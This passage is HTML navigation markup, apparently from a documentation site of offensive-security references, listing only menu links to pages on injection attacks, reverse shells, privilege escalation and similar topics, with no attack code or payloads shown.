|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../LDAP%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_34">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LaTeX Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../LaTeX%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_35">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Mass Assignment
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Mass%20Assignment/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology and Resources
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_36">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology and Resources
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - Azure
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Application Escape and Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Server
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology and Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subdomains Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_37">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
NoSQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../NoSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_38">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
OAuth Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ORM Leak
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_39">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
ORM Leak
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../ORM%20Leak/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
ORM Leak
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open Redirect
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_40">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Open Redirect
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Open%20Redirect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open URL Redirect
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_41">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prompt Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Prompt%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_42">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prototype Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Prototype%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_43">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Race Condition
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Race%20Condition/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Regular Expression
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Regular Expression
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Regular%20Expression/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Regular Expression
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_45">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Request Smuggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../Request%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_46">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SAML Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SAML%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_47">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google BigQuery SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cassandra Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DB2 Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MySQL Injection
|
||
</span>
|
||
